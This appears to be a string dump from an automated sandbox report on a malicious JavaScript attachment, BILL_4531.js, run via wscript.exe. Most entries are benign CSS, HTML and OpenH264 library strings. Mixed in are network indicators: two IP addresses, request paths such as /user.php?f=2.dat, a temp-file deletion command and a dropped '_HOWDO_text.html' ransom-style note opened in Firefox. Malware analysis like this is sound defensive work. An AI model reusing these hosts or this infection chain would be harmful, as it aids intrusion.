Unicode based on Runtime Data (wscript.exe )

{F3F5824C-AD58-4728-AF59-A1EBE3392799}

Unicode based on Runtime Data (wscript.exe )

|<>/":

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

} else {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

})(window,document,'script','//www.google-analytics.com/analytics.js','ga');

Ansi based on Dropped File (home-&-garden)

~lWa~

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

~nsu.tmp

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

!"$(&)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

!This program cannot be run in DOS mode.$

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

"C:\BILL_4531.js"

Ansi based on Process Commandline (wscript.exe)

"%PROGRAMFILES%\Mozilla Firefox\firefox.exe" -osint -url "%1"

Unicode based on Runtime Data (helper.exe )

"%APPDATA%\eXe"

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

#catnav .current-cat {

Ansi based on Dropped File (nav.css)

#catnav a, #catnav a:hover {

Ansi based on Dropped File (nav.css)

#catnav a, #catnav a:visited {

Ansi based on Dropped File (nav.css)

#catnav a:active {

Ansi based on Dropped File (nav.css)

#catnav a:hover {

Ansi based on Dropped File (nav.css)

#catnav li li a, #catnav li li a:visited {

Ansi based on Dropped File (nav.css)

#catnav li li a:hover, #catnav li li a:active {

Ansi based on Dropped File (nav.css)

#catnav li li:last-child a, #catnav li li:last-child a:visited {

Ansi based on Dropped File (nav.css)

#catnav li ul ul {/*second level dropdown*/

Ansi based on Dropped File (nav.css)

#catnav li ul {/*first level dropdown*/

Ansi based on Dropped File (nav.css)

#catnav li:hover ul ul, #catnav li.sfhover ul ul {

Ansi based on Dropped File (nav.css)

#catnav li:hover ul, #catnav li li:hover ul, #catnav li li li:hover ul, #catnav li.sfhover ul, #catnav li li.sfhover ul, #catnav li li li.sfhover ul {left: auto;}

Ansi based on Dropped File (nav.css)

#catnav ul a, #catnav ul a:hover {

Ansi based on Dropped File (nav.css)

#catnavli.last a {}

Ansi based on Dropped File (nav.css)

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

#nav a, #nav a:hover {

Ansi based on Dropped File (nav.css)

#nav a, #nav a:visited {

Ansi based on Dropped File (nav.css)

#nav a:hover, #nav a:active {

Ansi based on Dropped File (nav.css)

#nav li li a, #nav li li a:visited {

Ansi based on Dropped File (nav.css)

#nav li li a:hover, #nav li li a:active {

Ansi based on Dropped File (nav.css)

#nav li ul ul {/*second level dropdown*/

Ansi based on Dropped File (nav.css)

#nav li ul {/*first level dropdown*/

Ansi based on Dropped File (nav.css)

#nav li:hover ul ul, #nav li.sfhover ul ul {

Ansi based on Dropped File (nav.css)

#nav li:hover ul, #nav li li:hover ul, #nav li li li:hover ul, #nav li.sfhover ul, #nav li li.sfhover ul, #nav li li li.sfhover ul {left: auto;}

Ansi based on Dropped File (nav.css)

#wp_nav_menu li:hover > a {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul li:hover > ul {

Ansi based on Dropped File (nav.css)

#wp_nav_menu ul ul :hover > a {

Ansi based on Dropped File (nav.css)

$( "button#filter_submit" ).click();

Ansi based on Dropped File (home-&-garden)

$( "button#filter_submit" ).on('click', function(item) {

Ansi based on Dropped File (home-&-garden)

$( data ).appendTo( "#domain_list_body" );

Ansi based on Dropped File (home-&-garden)

$( document ).ready(function() {

Ansi based on Dropped File (home-&-garden)

$("#domain_list_body").empty();

Ansi based on Dropped File (home-&-garden)

$('button#filter_submit').click();

Ansi based on Dropped File (home-&-garden)

$.get( 'http://www.nameboat.com/ajax/market_themes/domain_overview_tiles/filters/'+form_values_for_url+'/user_id/1293/offset/init/keyword//', function( data ) {

Ansi based on Dropped File (home-&-garden)

%s\%s\%s.mui

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

&'./)*+

Ansi based on Dropped File (gmpopenh264.dll.97104820)

'max': 16},

Ansi based on Dropped File (home-&-garden)

'max': 1888.00},

Ansi based on Dropped File (home-&-garden)

'max': 21},

Ansi based on Dropped File (home-&-garden)

'min': 0.00,

Ansi based on Dropped File (home-&-garden)

(267) 231-6540</li>

Ansi based on Dropped File (home-&-garden)

(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){

Ansi based on Dropped File (home-&-garden)

(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),

Ansi based on Dropped File (home-&-garden)

(null)

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

*?|<>/":

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

,/,,//

Unicode based on Dropped File (gmpopenh264.dll.97104820)

- . /!0!1!2"3"4#5#6#7$8$9$:%;%<%=&>&>??CyrixInstead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Unicode based on Dropped File (gmpopenh264.dll.97104820)

- floating point support not loaded

Unicode based on Dropped File (gmpopenh264.dll.97104820)

-osint -url "%USERPROFILE%\Desktop\_HOWDO_text.html"

Ansi based on Process Commandline (firefox.exe)

... %d%%

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

... Bootstrap -->

Ansi based on Dropped File (home-&-garden)

... Custom + Common Css -->

Ansi based on Dropped File (home-&-garden)

... EFTY MARKET THEME BORGEN -->

Ansi based on Dropped File (home-&-garden)

... Font-Awesome -->

Ansi based on Dropped File (home-&-garden)

... Header Collapsed -->

Ansi based on Dropped File (home-&-garden)

... Header Section Started -->

Ansi based on Dropped File (home-&-garden)

... jQuery -->

Ansi based on Dropped File (home-&-garden)

... No UI slider -->

Ansi based on Dropped File (home-&-garden)

... wNumb number formatting -->

Ansi based on Dropped File (home-&-garden)

...[if lt IE 9]>

Ansi based on Dropped File (home-&-garden)

.8.7600.16385

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

.?AUctype_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$_Iosb@H@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_filebuf@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_streambuf@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$codecvt@DDH@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$CSceneChangeDetection@VCSceneChangeDetectorScreen@WelsVP@@@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$CSceneChangeDetection@VCSceneChangeDetectorVideo@WelsVP@@@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$ctype@D@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_1@PAVOpenH264VideoEncoder@@P81@AEXPAVGMPVideoi420Frame@@@ZPAV2@@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_2@PAVOpenH264VideoEncoder@@P81@AEXPAVGMPVideoi420Frame@@W4GMPVideoFrameType@@@ZPAV2@W43@@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_3@PAVOpenH264VideoEncoder@@P81@AEXPAVGMPVideoi420Frame@@PAUSFrameBSInfo@@W4GMPVideoFrameType@@@ZPAV2@PAU3@W44@@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_4@PAVOpenH264VideoDecoder@@P81@AEXPAVGMPVideoEncodedFrame@@_NAAW4DECODING_STATE@@_J@ZPAV2@_NW43@_J@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_5@PAVOpenH264VideoDecoder@@P81@AEXPAVGMPVideoEncodedFrame@@PAUTagBufferInfo@@QAPAE_J_N@ZPAV2@PAU3@PAPAE_J_N@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$numpunct@D@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_Generic_error_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_Iostream_error_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_Locimp@locale@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_System_error_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVbad_alloc@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVbad_cast@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVbad_exception@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCAdaptiveQuantization@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCBackgroundDetection@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCComplexityAnalysis@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCComplexityAnalysisScreen@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCDenoiser@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCDownsampling@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCImageRotating@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCMemoryAlign@WelsEnc@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVcodecvt_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCSceneChangeDetectorScreen@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCSceneChangeDetectorVideo@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCScrollDetection@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCVAACalculation@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCVpFrameWork@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCWelsDecoder@WelsDec@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCWelsH264SVCEncoder@WelsEnc@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVCWelsPreProcess@WelsEnc@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVerror_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVexception@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVfacet@locale@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVfailure@ios_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVgmp_args_base@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVGMPTask@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVGMPVideoDecoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVGMPVideoEncoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVios_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVIStrategy@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVISVCDecoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVISVCEncoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVIWelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVlength_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVlogic_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVOpenH264VideoDecoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVOpenH264VideoEncoder@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVout_of_range@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVruntime_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVsystem_error@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVtype_info@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.\%s.mui

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

.\%s\%s.mui

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

.btn_search {

Ansi based on Dropped File (home-&-garden)

.buy-btn-list {

Ansi based on Dropped File (home-&-garden)

.current-menu-item {background: #fff; padding: 5px 0;}

Ansi based on Dropped File (nav.css)

.current_page_itema, .home .on {font-weight:bold;}

Ansi based on Dropped File (nav.css)

.DEFAULT\Control Panel\International

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

.my-btn {

Ansi based on Dropped File (home-&-garden)

.table-responsive {

Ansi based on Dropped File (home-&-garden)

.to/5

Ansi based on Image Processing (screen_4.png)

/* Overrule CSS with custom colors from Efty user */

Ansi based on Dropped File (home-&-garden)

Ansi based on Runtime Data (eXe )

/*** Dropdown Menus for categories ***/

Ansi based on Dropped File (nav.css)

/*** Dropdown Menus for child pages ***/

Ansi based on Dropped File (nav.css)

Ansi based on Runtime Data (eXe )

Ansi based on Dropped File (nav.css)

/*border-right:1px solid #010101;*/

Ansi based on Dropped File (nav.css)

/*border-top: 1px solid #cacbcb;*/

Ansi based on Dropped File (nav.css)

// Convert js object towards URL paramater

Ansi based on Dropped File (home-&-garden)

// Displaying the values

Ansi based on Dropped File (home-&-garden)

// Initialize slider

Ansi based on Dropped File (home-&-garden)

// Initiate first

Ansi based on Dropped File (home-&-garden)

// OLD STYLE PAGING

Ansi based on Dropped File (home-&-garden)

// Process filter submit

Ansi based on Dropped File (home-&-garden)

// Process search / refining

Ansi based on Dropped File (home-&-garden)

//en.

Ansi based on Image Processing (screen_4.png)

//Odf.ajax.get('http://www.nameboat.com/ajax/market_themes/domain_overview_tiles/filters/'+form_values_for_url+'/user_id/1293/offset/10/keyword//', '#domain_list_body', { });

Ansi based on Dropped File (home-&-garden)

Ansi based on Runtime Data (eXe )

/A/pd0Fblr_e__R_eader

Ansi based on Image Processing (screen_4.png)

/apache_handler.php

Ansi based on PCAP Processing (PCAP)

/C del /Q /F "%TEMP%\sysE5A3.tmp"

Ansi based on Process Commandline (cmd.exe)

/openh264-win32-v1.3.zip

Ansi based on PCAP Processing (PCAP)

/user.php?f=2.dat

Ansi based on PCAP Processing (PCAP)

0, i 0) i .r1

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

0x80, i 0) i .r1

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

185.102.136.77

Ansi based on PCAP Processing (PCAP)

4[out_VersionW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

91.200.14.124

Ansi based on PCAP Processing (PCAP)

<![endif]-->

Ansi based on Dropped File (home-&-garden)

Ansi based on Runtime Data (eXe )

Ansi based on Dropped File (home-&-garden)

<))))???????????

Unicode based on Dropped File (gmpopenh264.dll.97104820)

<.lnk

Unicode based on Runtime Data (helper.exe )

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<button type="button" class="btn btn_search" id="filter_submit"><i class="fa fa-search" aria-hidden="true"></i> search</button>

Ansi based on Dropped File (home-&-garden)

<button type="submit" class="btn btn_search"><i class="fa fa-search" aria-hidden="true"></i> Search</button>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<h3 class="main_title crummer"><a href="http://www.nameboat.com" title="www.nameboat.com">www.nameboat.com</a> > Domain overview</h3>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (_28_HOWDO_text.html)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Runtime Data (eXe )

<li class="call-tx hidden-xs"> <img src="market/img/efty_market_themes/borgen/1.png"><span>Call us </span> and we'll help you secure the <br>

Ansi based on Dropped File (home-&-garden)

<li><a href="http://www.nameboat.com" title="www.nameboat.com" class="text-blue" target="_blank">www.nameboat.com</a></li>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<li><a href="mailto:info@nameboat.com" class="text-blue">info@nameboat.com</a></li>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<option value="Computers & Technology">Computers & Technology</option>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<option value="Short domains">Short domains</option>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (_28_HOWDO_text.html)

<title>Welcome to NameBoat | www.nameboat.com</title>

Ansi based on Dropped File (home-&-garden)

>@WelsEncoderParamAdjust(), GetMultipleThreadIdc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

??2@YAPAXI@Z

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

??3@YAXPAX@Z

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

?OpenH264 version:1.3.0.0

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?SetMeMethod(BLOCK_8x8) ME_DIA_CROSS_FME unsuccessful, switched to default search

Ansi based on Dropped File (gmpopenh264.dll.97104820)

@"%windir%\System32\ie4uinit.exe",-732

Unicode based on Runtime Data (helper.exe )

@.data

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

@.reloc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

@@@`777-

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

@@DDDDDDDDDD@@@@@@D

Ansi based on Runtime Data (eXe )

@[Rc] bits in buffer = %d, bits in Max bitrate buffer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

@CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_MAX_BITRATE,, layerId =%d,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Ansi based on Runtime Data (eXe )

@media screen and (max-width: 767px) {

Ansi based on Dropped File (home-&-garden)

[+|-]

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

[.ShellClassInfo]UICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}

Ansi based on Runtime Data (eXe )

[MT] CodingSliceThreadProc(), waiting pReadySliceCodingEvent[%d] failed(%d) and thread%d terminated!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[MT] DynamicAdjustSlicing(), invalid iNumMbInEachGom= %d from RC, iDid= %d, iCountNumMb= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[MT] WelsEncoderEncodeExt(), FiredSliceThreads return(%d) failed and exit encoding frame, iCountThreadsNum= %d, iSliceCount= %d, uiSliceMode= %d, iMultipleThreadIdc= %d!!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Debug:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Detail:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Error:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Info:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Warning:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rc] bits in buffer = %d, bits in Max bitrate buffer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rc] bits in buffer = %d, bits in Max bitrate buffer = %d, Predict skip frames = %d and %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rc] Frame timestamp = %lld, skip one frame, continual skipped %d frames

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rename]

Ansi based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

[SetRates] Begin with:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Getting Bit Rate at Layer:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Getting Frame Rate:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Setting Bit Rate at Layer:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Setting Frame Rate: ReturnValue:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Update Encoder Bandwidth (AllLayers): ReturnValue:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Update Encoder Frame Rate: ReturnValue:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

\Microsoft\Internet Explorer\Quick Launch

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

\Sessions\1\Windows\ApiPort

Unicode based on Runtime Data (wscript.exe )

\ThemeApiPort

Unicode based on Runtime Data (wscript.exe )

\UPw9LUa\AppData\Local\Temp\nsa2FE8.tmp\System.dll

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

_(Yvo76]

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

_pic->buffer[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`\??\Volume{8177f4e4-b53f-11e4-a9c2-806e6f6e6963}

Unicode based on Runtime Data (wscript.exe )

`\??\Volume{8177f4e5-b53f-11e4-a9c2-806e6f6e6963}

Unicode based on Runtime Data (wscript.exe )

`\??\Volume{8177f4e8-b53f-11e4-a9c2-806e6f6e6963}

Unicode based on Runtime Data (wscript.exe )

`local static guard'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local static thread guard'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local vftable constructor closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`local vftable'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

`placement delete[] closure'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

a Trademark of The Mozilla Foundation.

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

a.main:hover {background:none;}

Ansi based on Dropped File (nav.css)

AcquireLayersNals(), iCountNumLayers(%d) > MAX_LAYER_NUM_OF_FRAME(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AcquireLayersNals(), num_of_nals(%d) > MAX_NAL_UNITS_IN_LAYER(%d) per (iDid= %d, qid= %d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

AcquireLayersNals(), num_of_slice(%d) > MAX_SLICES_NUM(%d) per (iDid= %d, qid= %d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

age_values[handle].value = values[handle];

Ansi based on Dropped File (home-&-garden)

AppAssocReg.dll

Unicode based on Runtime Data (helper.exe )

Arguments Collection ObjectWWW!

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bad locale name

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bEnableFrameSkip = %d,bitrate can't be controlled for RC_QUALITY_MODE and RC_BITRATE_MODE without enabling skip frame.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

BitRate(kbps):

Ansi based on Dropped File (gmpopenh264.dll.97104820)

bSliceSkipFlag == 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

%PROGRAMFILES%\Mozilla Firefox

Unicode based on Runtime Data (helper.exe )

%PROGRAMFILES%\Mozilla Firefox\firefox.exe,1

Unicode based on Runtime Data (helper.exe )

%USERPROFILE%\AppData

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%APPDATA%\eXe

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%LOCALAPPDATA%\Temp

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%TEMP%\

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%TEMP%\nsa2FE8.tmp

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%TEMP%\nsa2FE8.tmp\System.dll

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

case 1.671:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 21.46:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

case 8.654:

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ciscobinary.openh264.org

Ansi based on PCAP Processing (PCAP)

cmd.exe

Unicode based on Runtime Data (wscript.exe )

color:#ed1c24 !important;

Ansi based on Dropped File (nav.css)

color:#fff !important;

Ansi based on Dropped File (nav.css)

CoMarshalInterThreadInterfaceInStream

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

COMCTL32.dll

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

command

Unicode based on Runtime Data (wscript.exe )

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

community - thamizha.com

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

continuous error reached INT_MAX! Restart as 0.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Control Panel\Desktop\ResourceLocale

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't encode frame. Error =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Couldn't encode frame. Type =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Current MaxSpatialBitrate is zero,Get this value from level limitation(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::CWelsDecoder() entry

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::init_decoder(), openh264 codec version = %s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::Initialize(), invalid input argument.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::SetOption for ERROR_CON_IDC = %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::SetOption(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::SetOption():DECODER_OPTION_GET_STATISTICS: this option is get-only!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::uninit_decoder(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::~CWelsDecoder()

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pFirstMbInSlice is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pNalLen is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pNalList is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pSlice is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: realloc MbCache not successful at slice_idx=%d (max-slice=%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: realloc pCountMbNumInSlice not successful

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: realloc pSlcingOverRc not successful

Ansi based on Dropped File (gmpopenh264.dll.97104820)

